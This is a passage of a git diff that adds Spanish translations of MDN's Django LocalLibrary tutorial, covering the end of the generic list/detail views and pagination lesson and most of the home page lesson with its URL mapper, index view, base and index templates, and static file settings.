objeto que estamos paginando.</p> + +<p>¡Eso es todo!</p> + +<h3 id="¿Cómo_se_ve_3">¿Cómo se ve?</h3> + +<p>La captura de pantalla de abajo muestra cómo se ve la paginación -- si no has ingresado más de 10 títulos en tu base de datos, puedes probarlo más fácilmente reduciendo el número especificado en la línea <code>paginate_by</code> en tu archivo <strong>catalog/views.py</strong>. Para obtener el resultado de abajo lo cambiamos a <code>paginate_by = 2</code>.</p> + +<p>Los enlaces de paginación se muestran en la parte de abajo, con enlaces de next/previous desplegados dependiendo de en qué página estés</p> + +<p><img alt="Book List Page - paginated" src="https://mdn.mozillademos.org/files/14057/book_list_paginated.png" style="border-style: solid; border-width: 1px; display: block; height: 216px; margin: 0px auto; width: 924px;"></p> + +<h2 id="Rétate_a_tí_mismo">Rétate a tí mismo</h2> + +<p>El reto en este artículo es crear las vistas de lista y detalle para autores, que se requieren para completar el proyecto. Estas deberían estar disponibles en las siguientes URLs:</p> + +<ul> + <li><code>catalog/authors/</code> — La lista de todos los autores.</li> + <li><code>catalog/author/<em><id></em></code><em> </em>— La vista de detalle para el autor específico con un valor en el campo de clave primaria de <em><code><id></code></em></li> +</ul> + +<p>El código requerido para los mapeadores URL y las vistas debería ser virtualmente idéntico a las vistas de lista y detalle para <code>Book</code> que creamos arriba. Las plantillas serán diferentes, pero tendrán un comportamiento similar.</p> + +<div class="note"> +<p><strong>Nota</strong>:</p> + +<ul> + <li>Una vez que has creado el mapeador URL para la página de lista de autores, necesitarás también actualizar el enlace <strong>All authors</strong> en la plantilla base. Sigue el <a href="#Update_the_base_template">mismo proceso</a> que hicimos cuando actualizamos el enlace <strong>All books</strong>.</li> + <li>Una vez que has creado el mapeador URL para la página de detalle de autores, deberías también actualizar la <a href="#Creating_the_Detail_View_template">plantilla de vista de detalle de libros </a>(<strong>/locallibrary/catalog/templates/catalog/book_detail.html</strong>) de modo que el enlace de autor apunte a tu nueva página de detalle de autor (en lugar de ser una URL vacía). La línea cambiará para añadir la etiqueta de plantilla que se muestra en negrita abajo.</li> +</ul> + +<pre class="brush: html"><p><strong>Author:</strong> <a href="<strong>{% url 'author-detail' book.author.pk %}</strong>">\{{ book.author }}</a></p> </pre> +</div> + +<p>Cuando termines, tus páginas deberían lucir similares a las capturas de pantalla de abajo.</p> + +<p><img alt="Author List Page" src="https://mdn.mozillademos.org/files/14053/author_list_page_no_pagination.png" style="border-style: solid; border-width: 1px; display: block; margin: 0px auto;"></p> + +<ul> +</ul> + +<p><img alt="Author Detail Page" src="https://mdn.mozillademos.org/files/14055/author_detail_page_no_pagination.png" style="border-style: solid; border-width: 1px; display: block; height: 358px; margin: 0px auto; width: 825px;"></p> + +<ul> +</ul> + +<h2 id="Resumen">Resumen</h2> + +<p>Felicitaciones, ¡la funcionalidad de nuestra biblioteca básica está ahora completa!</p> + +<p>En este artículo hemos aprendido cómo usar las vistas genéricas basadas en clases de lista y detalle, y las hemos usado para crear páginas para ver nuestros libros y autores. Sobre la marcha hemos aprendido sobre coincidencia de patrones con expresiones regulares, y cómo puedes enviar información desde las URLs a tus vistas. Hemos también aprendido unos cuantos trucos más para usar plantillas. Por último hemos mostrado cómo paginar vistas de lista, de modo que nuestras listas sean manejables incluso si tenemos muchos registros.</p> + +<p>En los siguientes artículos extenderemos esta biblioteca para añadir soporte para cuentas de usuario, y así demostrar la autenticación de usuarios, permisos, sesiones y formularios.</p> + +<h2 id="Mira_también">Mira también</h2> + +<ul> + <li><a href="https://docs.djangoproject.com/en/1.10/topics/class-based-views/generic-display/">Vistas genéricas basadas en clases incluídas</a> (Django docs)</li> + <li><a href="https://docs.djangoproject.com/en/1.10/ref/class-based-views/generic-display/">Vistas genéricas de despliegue</a> (Django docs)</li> + <li><a href="https://docs.djangoproject.com/en/1.10/topics/class-based-views/intro/">Introducción a las vistas basadas en clases</a> (Django docs)</li> + <li><a href="https://docs.djangoproject.com/en/1.10/ref/templates/builtins">Etiquetas de plantilla y filtros incluídos</a> (Django docs).</li> + <li><a href="https://docs.djangoproject.com/en/1.10/topics/pagination/">Paginación</a> (Django docs)</li> +</ul> + +<p>{{PreviousMenuNext("Learn/Server-side/Django/Home_page", "Learn/Server-side/Django/Sessions", "Learn/Server-side/Django")}}</p> + +<p> </p> + +<h2 id="En_este_módulo">En este módulo</h2> + +<ul> + <li><a href="/es/docs/Learn/Server-side/Django/Introducción">Introducción a Django</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/development_environment">Configurando un entorno de desarrollo Django</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/Tutorial_local_library_website">Tutorial de Django: El sito web de la Biblioteca Local</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/skeleton_website">Tutorial de Django Parte 2: Creando el esqueleto de un sitio web</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/Models">Tutorial de Django Parte 3: Usando modelos</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/Admin_site">Tutorial de Django Parte 4: Sitio de administración de Django</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/Home_page">Tutorial de Django Parte 5: Creando nuestra página de inicio</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/Generic_views">Tutorial de Django Parte 6: Listas genéricas y vistas de detalle</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/Sessions">Tutorial de Django Parte 7: Framework de sesiones</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/Authentication">Tutorial de Django Parte 8: Autenticación de usuarios y permisos</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/Forms">Tutorial de Django Parte 9: Trabajando con formularios</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/Testing">Tutorial de Django Parte 10: Probando una aplicación web de Django</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/Deployment">Tutorial de Django Parte 11: Poniendo Django en producción</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/web_application_security">Seguridad en aplicaciones web Django</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/django_assessment_blog">DIY Django mini blog</a></li> +</ul> diff --git a/files/es/learn/server-side/django/home_page/index.html b/files/es/learn/server-side/django/home_page/index.html new file mode 100644 index 0000000000..4c849e8917 --- /dev/null +++ b/files/es/learn/server-side/django/home_page/index.html @@ -0,0 +1,403 @@ +--- +title: 'Tutorial de Django Parte 5: Creación de tu página de inicio' +slug: Learn/Server-side/Django/Home_page +translation_of: Learn/Server-side/Django/Home_page +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/Server-side/Django/Admin_site", "Learn/Server-side/Django/Generic_views", "Learn/Server-side/Django")}}</div> + +<p class="summary">Estamos listos ahora para añadir el código para mostrar nuestra primera página entera — una página de inicio del sitio web de la <a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Django/Tutorial_local_library_website">BibliotecaLocal</a> que muestra cuántos registros tenemos de cada tipo de modelo y proporciona una barra lateral con enlaces de navegación a nuestras otras páginas. Por el camino ganaremos experiencia práctica en escritura básica de mapeos de URL y vistas, obtención de resgistros de la base de datos y uso de plantillas.</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">Pre-requisitos:</th> + <td>Lee la <a href="https://developer.mozilla.org/es/docs/Learn/Server-side/Django/Introducci%C3%B3n">Introducción a Django</a>. Completa los tópicos previos del tutorial (incluyendo <a href="https://developer.mozilla.org/es/docs/Learn/Server-side/Django/Admin_site">Tutorial de Django Parte 4: Sitio de administración de Django</a>).</td> + </tr> + <tr> + <th scope="row">Objetivo:</th> + <td> + <p>Entender cómo crear mapas url y vistas simples (sin información codificada en la URL), y cómo obtener información desde los modelos y crear plantillas.</p> + </td> + </tr> + </tbody> +</table> + +<h2 id="Visión_General">Visión General</h2> + +<p>Ahora que hemos definindo nuestros modelos y hemos creado los primeros registros en la librería para trabajar, es hora de escribir código para presentar información a los usuarios. Lo primero que necesitamos es determinar que información queremos mostrar en nuestras páginas, y definir una URL apropiada hacia estos recursos. Vamos a necesitar crear el mapeador de URLs, las vistas y plantillas para mostrar estas páginas.</p> + +<p>El siguiente diagrama es un recordatorio del principal flujo de datos y cosas necesarias para ser implementadas cuando se maneja una respuesta/petición en HTTP.<br> + Los principales elementos que necesitamos crear son:</p> + +<ul> + <li>Mapeadores URL para reenviar las URLs admitidas (y cualquier información codificada en las URLs) a las funciones de vista apropiadas.</li> + <li>Funciones de vista para obtener los datos solicitados desde los modelos, crear una página HTML que muestre los datos, y devolverlo al usuario para que lo vea en el navegador.</li> + <li>Plantillas usadas por las vistas para renderizar los datos.</li> +</ul> + +<p><img alt="" src="https://mdn.mozillademos.org/files/13931/basic-django.png" style="display: block; margin: 0px auto;"></p> + +<p>Como verás en la siguiente sección, vamos a tener 5 páginas para mostrar, que es mucho que documentar en un artículo. Por lo tanto, en la mayor parte de este artículo nos concentraremos en mostrar como implementar solo la página de inicio (nos moverermos a otras páginas en un artículo subsecuente). Esto debe darte un buen entendimiento de extremo a extremo sobre como los mapeadores URL, vistas y modelos funcionan en la práctica.</p> + +<h2 id="Definiendo_el_recurso_URL">Definiendo el recurso URL</h2> + +<p>Como esta versión de <em>LocalLibrary</em> es escencialmente solo de lectura para usuarios finales, debemos proveer una página de llegada para el sitio (una página de inicio), y páginas que <em>desplieguen</em> listas y vistas detalladas para libros y autores. </p> + +<p>Las URL que vamos a necesitar para nuestras páginas son:</p> + +<ul> + <li><code>catalog/</code> — La página home/index.</li> + <li><code>catalog/books/</code> — La lista de todos los libros.</li> + <li><code>catalog/authors/</code> — La lista de todos los autores.</li> + <li><code>catalog/book/<em><id></em></code> — La vista detallada para el libro específico con un campo de clave primaria de <code><em><id></em></code> (el valor por defecto). Así por ejemplo, <code>/catalog/book/3</code>, para el tercer libro añadido.</li> + <li><code>catalog/author/<em><id></em></code><em> </em>— La vista detallada para el autor específico con un campo de clave primaria llamada <em><code><id>. </code></em>Así por ejemplo, <code>/catalog/author/11</code>, para el 11vo autor añadido.</li> +</ul> + +<p>La tres primeras URLs son usadas para listar el índice, los libros y autores. Esto no codifica ninguna información adicional, y mientras los resultados retornados dependerán del contenido en la base de datos, las consultas que se ejecutan para obtener la información siempre serán las mismas.</p> + +<p>En contraste las 2 URLs finales son usadas para mostrar información detallada sobre un libro o autor específico — estas codifican la identidad de los ítemes a mostrar en la URL (mostrado arriba como <code><em><id></em></code> ). El mapeador URL puede extraer la información codificada y pasársela a la vista, donde se detarminará que información extraer de la base de datos. Al codificar la información en nuestra URL solo necesitamos un mapeador de URL, una vista, y un plantilla para manejar cada libro (o autor). </p> + +<div class="note"> +<p><strong>Nota</strong>: Django te permite construir tus URLs de cualquier forma que quieras — puedes codificar información en el cuerpo de la URL como se muestra arriba o usando la obtención de parámetros <code>GET</code> de la URL(e.j. <code>/book/?id=6</code>). Culquier enfoque que uses, las URLs deben mantenerse limpias, lógicas y legibles (<a href="https://www.w3.org/Provider/Style/URI">observa el consejo del W3C aquí</a>).<br> + <br> + La documentación Django tiende a recomendar la codificación de información en el cuerpo de la URL, una práctica que ellos creen que promueve mejores diseños de URL.</p> +</div> + +<p>Como discutimos en la introducción, el resto de este articulo describe como construimos la página index.</p> + +<h2 id="Creando_la_página_index">Creando la página index</h2> + +<p>La primera página que crearemos será la página index (<code>catalog/</code>). Esto desplegará un pequeño HTML estático, junto con algunos "contadores" calculados de diferentes registros en la base de datos. Para hacer este trabajo tendremos que crear un mapeador URL, una vista y una plantilla. </p> + +<div class="note"> +<p><strong>Nota</strong>: Vale la pena prestar un poco de atención extra en esta sección. La mayoría del contenido es común para todas las páginas.</p> +</div> + +<h3 id="Mapeador_URL">Mapeador URL</h3> + +<p>Hemos creado un archivo básico <strong>/catalog/urls.py</strong> para nuestra aplicación catálogo cuando creamos el <a href="/en-US/docs/Learn/Server-side/Django/skeleton_website">esqueleto del sitio Web</a>. Las URLs de la aplicación catálogo fueron incluidas dentro del proyecto con un mapeador a <code>catalog/</code>, entonces las URLs que llegan a este mapeador deben empezar con<code> catalog/</code> (el mapeador funciona sobre todos los string en la URL después de la barra diagonal).</p> + +<p>Abra <strong>urls.py</strong> y pegue la línea en negrita que aparece a continuación. </p> + +<pre class="brush: python">urlpatterns = [ +<strong> url(r'^$', views.index, name='index'),</strong> +]</pre> + +<p>Esta función <code>url()</code> define un patrón URL (<code>r'^$'</code>), y una función vista que será llamada si el patrón es detectado (<code>views.index</code> — una función llamada <code>index()</code> en <strong>views.py</strong>). El patrón URL es una <a href="https://docs.python.org/3/library/re.html">expresión regular de Python</a> (ER). Hablaremos un poco más sobre ERs más adelante en este tutorial, pero para este caso todo lo que necesitas saber es que en una ER de ^$ el patrón coincidirá con una cadena vacía (^ es un marcador de inicio de cadena y $ es un marcador de fin de cadena). </p> + +<div class="note"> +<p><strong>Nota: </strong>Nota que en <strong>/locallibrary/locallibrary/urls.py</strong> </p> + +<pre><code>urlpatterns += [ + url(r'^catalog/', include('catalog.urls')), +]</code></pre> + +<p>La expresión regular en este caso no tienen un <code>$</code> (caracter asignado a fin-de-cadena) pero incluye una barra diagonal. Siempre cuando Django se encuentra con <code>include()</code> (<a href="https://docs.djangoproject.com/en/1.11/ref/urls/#django.conf.urls.include" title="django.conf.urls.include"><code>django.conf.urls.include()</code></a>), corta cualquier parte de la URL que coincida hasta este punto y envía el resto de la cadena para incluir la configuración URL para el siguiente procesamiento.</p> + +<p>La URL coincidente es en realidad <code>catalog/</code> + <cadena vacía> ( <code>/catalog/</code> es asumida ya que include() fue el método usado). Nuestra primera función vista será llamada si recibimos una consulta HTTP con una URL de <code>/catalog/</code>.</p> +</div> + +<p>La función <code>url()</code> también especifica un parámetro <code>name</code>, que identifica de manera única <em>este</em> mapeador de URL particular. Puedes usar este nombre para "revertir" el mapeador — para crear dinámicamente una URL que apunta al el recurso que el mapeador esta diseñado para manejar. Por ejemplo, con esto hecho ahora podemos enlazar nuestra página inicio creando el siguiente enlace en nuestra plantilla:</p> + +<pre class="brush: html"><a href="<strong>{% url 'index' %}</strong>">Home</a>.</pre> + +<div class="note"> +<p><strong>Nota</strong>: Por su puesto podemos codificar a fuerza bruta el link anterior (e.j. <code><a href="<strong>/catalog/</strong>">Home</a></code>), pero entonces si cambiamos el patrón para nuestra página de inicio (e.j. a <code>/catalog/index</code>) la plantilla no podrá seguir enlazando correctamente. Usar un mapeador de url es mucho más flexible y robusto!</p> +</div> + +<h3 id="Vista_basada-en-funciones">Vista (basada-en-funciones)</h3> + +<p>Una vista es una función que procesa una consulta HTTP, trae datos desde la base de datos cuando los necesita, genera una página HTML renderizando estos datos unando una plantilla HTML, y luego retorna el HTML en una respuesta HTTP para ser mostrada al usuario. La vista del índice sigue este modelo — extrae información sobre cuantos <code>Book</code>, <code>BookInstance</code>, <code>BookInstance</code> disponibles y registros <code>Author</code> tenemos en la base de datos, y los pasa a una plantilla para mostrarlos.</p> + +<p>Abre <strong>catalog/views.py</strong>, y nota que el archivo ya importa el atajo de la función <a href="https://docs.djangoproject.com/en/1.10/topics/http/shortcuts/#django.shortcuts.render">render()</a> que genera archivos HTML usando una plantilla y datos. </p> + +<pre class="brush: python">from django.shortcuts import render + +# Create your views here. +</pre> + +<p>Copia el siguiente código al final del archivo. La primera linea importa las clases de los modelos que usaremos para acceder a los datos en todas nuestras vistas.</p> + +<pre class="brush: python">from .models import Book, Author, BookInstance, Genre + +def index(request): + """ + Función vista para la página inicio del sitio. + """ + # Genera contadores de algunos de los objetos principales + num_books=Book.objects.all().count() + num_instances=BookInstance.objects.all().count() + # Libros disponibles (status = 'a') + num_instances_available=BookInstance.objects.filter(status__exact='a').count() + num_authors=Author.objects.count() # El 'all()' esta implícito por defecto. + + # Renderiza la plantilla HTML index.html con los datos en la variable contexto + return render( + request, + 'index.html', + context={'num_books':num_books,'num_instances':num_instances,'num_instances_available':num_instances_available,'num_authors':num_authors}, + )</pre> + +<p>La primera parte de la función vista extrae contadores de registros usando el atributo <code>objects.all()</code> en las clases del modelo. Tambien obtiene una lista de los objetos <code>BookInstance</code> que tienen un valor del campo status de 'a' (Disponible). Puedes encontrar un poco más sobre cómo acceder desde modelos en nuestro tutorial previo (<a href="/en-US/docs/Learn/Server-side/Django/Models#Searching_for_records">Django Tutorial Part 3: Usando modelos > Buscando registros</a>).</p> + +<p>Al final de la función invocamos a la función <code>render()</code> para crear y retornar una página HTML como una respuesta (esta función atajo envuelve una serie, simplicando este caso de uso muy común). Esta recibe como parametros el objeto <code>request original</code> (una <code>ConsultaHttp</code>), una plantilla HTML con marcadores para los datos, y una variable de <code>contexto</code> (un diccionario Python que contiene los datos que serán insertados en esos marcadores). </p> + +<p>Hablaremos más sobre la plantilla y la variable de contexto en la siguiente sección; vamos a crear nuestra plantilla para así de hecho mostrarle algo al usuario!</p> + +<h3 id="Plantilla">Plantilla</h3> + +<p>Una plantilla es un archivo de texto que determina la estructura o diseño de un archivo (como una página HTML), con marcadores usados para representar el contenido real. Django automaticamente buscará plantillas en un directorio llamado '<strong>templates</strong>' de su aplicación. Así por ejemplo, en la vista índice que acabamos de agregar, la función <code>render()</code> esperará poder encontrar el archivo <strong>/locallibrary/catalog/templates/<em>index.html</em></strong>, y entregará un error si el archivo no puede ser encontrado. Puede ver esto si guarda los cambios anteriores y vuelve a su navegador — accediendo a <code>127.0.0.1:8000</code> ahora le entregará un mensaje de error bastante intuitivo "TemplateDoesNotExist at /catalog/", más otros detalles.</p> + +<div class="note"> +<p><strong>Nota</strong>: Django buscará en una serie de lugares por plantillas, basandose en su archivo de configuraciones de proyectos (buscar en su aplicación instalada es una configuración por defecto!). Puede encontrar más sobre como Django encuentra plantillas y qué formatos de plantillas soporta <a href="https://docs.djangoproject.com/en/1.10/topics/templates/">Templates</a> (Django docs).</p> +</div> + +<h4 id="Plantillas_extendidas">Plantillas extendidas</h4> + +<p>La plantilla índice va a necesitar marcado HTML estándar para la cabecera y el cuerpo, junto con secciones para navegar (a otras páginas en el sitio que todavía no hemos creado) y para mostrar algún texto introductorio y nuestros datos de libro. La mayoría de este texto (el HTML y la estructura de navegación) será el mismo para cada página en nuestro sitio. En lugar de obligar a los desarrolladores a duplicar este texto en cada página, el lenguaje de plantillas de Django le permite declarar una plantilla base y luego extenderla, reemplazando solo las porciones que son distintos para cada página específica. </p> + +<p>Por ejemplo, un plantilla base <strong>base_generic.html</strong> podría verse como el texto de abajo. Como puedes ver, este contiene algo de HTML "común" y secciones para el título, barra lateral, y contendio marcados usando las etiquetas de plantillas llamadas <code>block</code> y <code>endblock</code> (mostradas en negrita). Los bloques pueden estar vacíos, o tener contenido que será usado "por defecto" para páginas derivadas.</p> + +<div class="note"> +<p><strong>Nota</strong>: Las etiquetas de plantilla son como funciones que puede usar en una plantilla para recorrer listas, realizar operaciones condicionales basadas en el valor de una variable, etc. Además de las etiquetas de plantilla, la sintaxis de plantilla te permite referenciar variables de plantilla (que son pasadas en la plantilla desde la vista) y usar <em>filtros de plantilla</em>, que reformatean las variables (por ejemplo, establecer una cadena en minúsculas).</p> +</div> + +<pre class="brush: html"><!DOCTYPE html> +<html lang="en"> +<head> + <strong>{% block title %}</strong><title>Local Library</title><strong>{% endblock %}</strong> +</head> + +<body> + <strong>{% block sidebar %}</strong><!-- insert default navigation text for every page --><strong>{% endblock %}</strong> + <strong>{% block content %}</strong><!-- default content text (typically empty) --><strong>{% endblock %}</strong> +</body> +</html> +</pre> + +<p>Cuando queremos definir una plantilla para una vista en particular, primero especificamos la plantila base (con la etiqueta de plantilla <code>extends</code> — vea el código siguiente). Si ahí hay alguna seccón que queremos reemplazar en la plantilla declaramos esto, usando secciones <code>block</code>/<code>endblock</code> idénticas a las usadas en la plantilla base.</p> + +<p>Por ejemplo, el fragmento de código que sigue muestra como usar la etiqueta de plantilla <code>extends</code>, y sobrescribe el bloque <code>content</code>. El HTML final producido tendrá todo el HTML y la estructura defininda en la plantilla base (incluyendo el contenido por defecto que ha definido dentro del bloque <code>title</code>), pero con tu nuevo bloque <code>content</code> insertado en lugar del que venía por defecto.</p> + +<pre class="brush: html">{% extends "base_generic.html" %} + +{% block content %} +<h1>Local Library Home</h1> +<p>Welcome to <em>LocalLibrary</em>, a very basic Django website developed as a tutorial example on the Mozilla Developer Network.</p> +{% endblock %}</pre> + +<h4 id="La_plantilla_base_de_LocalLibrary">La plantilla base de LocalLibrary</h4> + +<p>La plantilla base que pensamos usar para el siito web <em>LocalLibrary </em>se muestra abajo. Como puedes ver, contiene algo de HTML y bloques definidos para <code>title</code>, <code>sidebar</code> y <code>content</code>. Tenemos un título por defecto (que podríamos querer cambiar) y una barra lateral por defecto con enlaces a listas de todos los libros y autores (que probablemente no querramos cambiar, pero hemos dejado abierta la posibilidad de hacerlo si es necesario, poniéndolo en un bloque).</p> + +<div class="note"> +<p><strong>Nota</strong>: También introducimos dos etiquetas de plantilla adicionales: <code>url</code> y <code>load static</code>. Se discute sobre ellas en secciones posteriores.</p> +</div> + +<p>Crea un nuevo archivo -- <strong>/locallibrary/catalog/templates/<em>base_generic.html</em></strong> -- y pon en él el siguiente contenido:</p> + +<pre class="brush: html"><!DOCTYPE html> +<html lang="en"> +<head> + + {% block title %}<title>Local Library</title>{% endblock %} + <meta charset="utf-8"> + <meta name="viewport" content="width=device-width, initial-scale=1"> + <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css"> + <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.12.4/jquery.min.js"></script> + <script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js"></script> + + <!-- Add additional CSS in static file --> + {% load static %} + <link rel="stylesheet" href="{% static 'css/styles.css' %}"> +</head> + +<body> + + <div class="container-fluid"> + + <div class="row"> + <div class="col-sm-2"> + {% block sidebar %} + <ul class="sidebar-nav"> + <li><a href="{% url 'index' %}">Home</a></li> + <li><a href="">All books</a></li> + <li><a href="">All authors</a></li> + </ul> + {% endblock %} + </div> + <div class="col-sm-10 "> + {% block content %}{% endblock %} + </div> + </div> + + </div> +</body> +</html></pre> + +<p>La plantilla usa (e incluye) JavaScript y CSS desde <a href="http://getbootstrap.com/">Bootstrap</a> para mejorar el diseño y la presentación de la página HTML. Usar Bootstrap u otro framework web del lado del cliente es una manera rápida de crear una página atractiva que puede escalarse bien en diferentes tamaños de navegador, y también nos permite concentrarnos en la presentación de la página sin tener que entrar en ninguno de los detalles -- ¡queremos enfocarnos nada más en el código del lado del servidor aquí!</p> + +<p>La plantilla base también hace referencia a un archivo css local (<strong>styles.css</strong>) que brinda algo más de estilo. Crea <strong>/locallibrary/catalog/static/css/styles.css</strong> y pon en él el siguiente contenido:</p> + +<pre class="brush: css">.sidebar-nav { + margin-top: 20px; + padding: 0; + list-style: none; +}</pre> + +<h4 id="La_plantilla_index">La plantilla index</h4> + +<p>Crea el archivo HTML <strong>/locallibrary/catalog/templates/<em>index.html</em></strong> y pon en él el contenido que se muestra abajo. Como puedes ver, extendemos nuestra plantilla base en la primera línea, y luego reemplazamos el bloque <code>content</code> por defecto con uno nuevo para esta plantilla.</p> + +<pre class="brush: html">{% extends "base_generic.html" %} + +{% block content %} +<h1>Local Library Home</h1> + + <p>Welcome to <em>LocalLibrary</em>, a very basic Django website developed as a tutorial example on the Mozilla Developer Network.</p> + +<h2>Dynamic content</h2> + + <p>The library has the following record counts:</p> + <ul> + <li><strong>Books:</strong> <strong>\{{ num_books }}</strong></li> + <li><strong>Copies:</strong> <strong>\{{ num_instances }}</strong></li> + <li><strong>Copies available:</strong> <strong>\{{ num_instances_available }}</strong></li> + <li><strong>Authors:</strong> <strong>\{{ num_authors }}</strong></li> + </ul> + +{% endblock %}</pre> + +<p>En la sección <em>Dynamic content</em> hemos declarado marcadores de posición (<em>variables de plantilla</em>) para la información que quisimos incluir desde la vista. Las variables se marcan usando la sintaxis de "doble corchete" o "llaves" (ver lo que está en negrita arriba).</p> + +<div class="note"> +<p><strong>Nota:</strong> Puedes reconocer fácilmente si estás trabajando con variables de plantilla o con etiquetas de plantilla (funciones) porque las variables tienen llaves dobles (<code>\{{ num_books }}</code>) mientras que las etiquetas están encerradas entre llaves simples con signos de porcentaje (<code>{% extends "base_generic.html" %}</code>).</p> +</div> + +<p>Lo importante de todo esto es que estas variables se nombran con las claves que enviamos dentro del diccionario <code>context</code> en la función <code>render()</code> de nuestra vista (mira abajo); estas variables serán reemplazadas por sus valores asociados cuando la plantilla sea renderizada.</p> + +<pre class="brush: python">return render( + request, + 'index.html', + context={'<strong>num_books</strong>':num_books,'<strong>num_instances</strong>':num_instances,'<strong>num_instances_available</strong>':num_instances_available,'<strong>num_authors</strong>':num_authors}, +)</pre> + +<h4 id="Referenciando_archivos_estáticos_en_las_plantillas">Referenciando archivos estáticos en las plantillas</h4> + +<p>Es probable que uses recursos estáticos en tu proyecto, incluyendo JavaScript, CSS e imágenes. Debido a que la ubicación de estos archivos podría ser desconocida (o podría cambiar), Django te permite especificar la ubicación de los mismos dentro de tus plantillas de forma relativa al parámetro global <code>STATIC_URL</code> (el sitio web esqueleto por defecto establece el valor de <code>STATIC_URL</code> a '<code>/static/</code>', pero puedes elegir alojar los archivos en una red de distribución de contenidos o en cualquier otro lugar).</p> + +<p>Dentro de la plantilla, primero llamas a la etiqueta de plantilla <code>load</code> especificando "static" para añadir esta biblioteca de plantilla (como se muestra abajo). Luego de que static se carga, puedes usar la etiqueta de plantilla <code>static</code> especificando la URL relativa del archivo de interés.</p> + +<pre class="brush: html"> <!-- Add additional CSS in static file --> +{% load static %} +<link rel="stylesheet" href="{% static 'css/styles.css' %}"></pre> + +<p>Si quisieras podrías añadir una imagen a la página de forma similar. Por ejemplo:</p> + +<pre class="brush: html">{% load static %} +<img src="{% static 'catalog/images/local_library_model_uml.png' %}" alt="My image" style="width:555px;height:540px;"/> +</pre> + +<div class="note"> +<p><strong>Nota:</strong> Los cambios de arriba especifican dónde se localizan los archivos, pero Django no los sirve por defecto. Si bien habilitamos este servicio para el servidor web de desarrollo en el mapeador URL global (<strong>/locallibrary/locallibrary/urls.py</strong>) cuando <a href="https://www.google.com/url?sa=t&rct=j&q=&esrc=s&source=web&cd=1&cad=rja&uact=8&ved=0ahUKEwiq2o-V3PXbAhVM0FMKHcNzAkcQFggnMAA&url=https%3A%2F%2Fdeveloper.mozilla.org%2Fes%2Fdocs%2FLearn%2FServer-side%2FDjango%2Fskeleton_website&usg=AOvVaw2VIIkwGelK5OnECR-4u4sU">creamos el esqueleto del sitio web</a>, aún necesitarás configurar este servicio para producción. Hablaramos de esto más tarde.</p> +</div> + +<p>Para mayor información sobre el trabajo con archivos estáticos revisa <a href="https://docs.djangoproject.com/en/1.10/howto/static-files/">Managing static files</a> (Django docs).</p> + +<h4 id="Enlazando_con_URLs">Enlazando con URLs</h4> + +<p>En la plantilla base de arriba se introdujo la etiqueta de plantilla <code>url</code>.</p> + +<pre class="brush: python"><li><a href="{% url 'index' %}">Home</a></li> +</pre> + +<p>Esta etiqueta toma el nombre de una función <code>url()</code> llamada en tu archivo <strong>urls.py,</strong> y valores para cualquier argumento que la vista asociada recibirá desde tal función, y devuelve una URL que puedes usar para enlazar con el recurso.</p> + + + +<h4 id="Configurando_adonde_buscar_las_plantillas">Configurando adonde buscar las plantillas</h4> + +<p>Para que Django encuentre los archivos de plantillas es necesario editar el archivo settings.py agregando el directorio donde creamos nuestras plantillas en el objeto TEMPLATES, como indica la linea en negrita a continuación:</p> + +<pre class="brush: python">TEMPLATES = [ + { + 'BACKEND': 'django.template.backends.django.DjangoTemplates', + 'DIRS': [ +<strong> os.path.join(BASE_DIR, 'templates'), +</strong> ], + 'APP_DIRS': True, + 'OPTIONS': { + 'context_processors': [ + 'django.template.context_processors.debug', + 'django.template.context_processors.request', + 'django.contrib.auth.context_processors.auth', + 'django.contrib.messages.context_processors.messages', + ], + }, + }, +]</pre> + +<h2 id="¿Cómo_se_ve">¿Cómo se ve?</h2> + +<p>En este punto deberíamos haber creado todo lo necesario para desplegar la página index. Corre el servidor (<code>python3 manage.py runserver</code>) y dirige tu navegador a <a href="http://127.0.0.1:8000/">http://127.0.0.1:8000/</a>. Si todo se configuró correctamente, tu sitio debería verse similar a la siguiente captura de pantalla.</p> + +<p><img alt="Index page for LocalLibrary website" src="https://mdn.mozillademos.org/files/14045/index_page_ok.png" style="border-style: solid; border-width: 1px; display: block; height: 356px; margin: 0px auto; width: 874px;"></p> + +<div class="note"> +<p><strong>Nota:</strong> Aún no podrás usar los enlaces <strong>All books</strong> y <strong>All authors</strong> porque las URLs, vistas y plantillas para dichas páginas no se han definido (al momento solo hemos insertado marcadores de posición para esos enlaces en la plantilla <code>base_generic.html</code>).</p> +</div> + +<h2 id="Rétate_a_tí_mismo">Rétate a tí mismo</h2> + +<p>Aquí hay un par de tareas para probar tu familiaridad con consultas a modelos, vistas y plantillas.</p> + +<ol> + <li>Declara un nuevo bloque <em>title</em> en la plantilla <em>index</em> y cambia el título de la página para coincidir con esta página en particular.</li> + <li>Modifica la vista para generar un conteo de géneros y otro de libros que contengan una palabra en particular (no sensible a mayúsculas y minúsculas) y luego añade estos campos a la plantilla.</li> +</ol> + +<ul> +</ul> + +<h2 id="Resumen">Resumen</h2> + +<p>Hemos creado la página de inicio para nuestro sitio -- una página HTML que despliega algunos conteos de registros de la base de datos y contiene enlaces a otras de nuestras páginas que aún nos faltan por crear. Sobre la marcha hemos adquirido mucha información fundamental sobre mapeadores URL, vistas, consultas a la base de datos usando nuestros modelos, cómo enviar información a una plantilla desde nuestra vista, y cómo crear y extender plantillas.</p> + +<p>En nuestro siguiente artículo nos basaremos en nuestro conocimiento para crear las otras cuatro páginas.</p> + +<h2 id="Mira_también">Mira también</h2> + +<ul> + <li><a 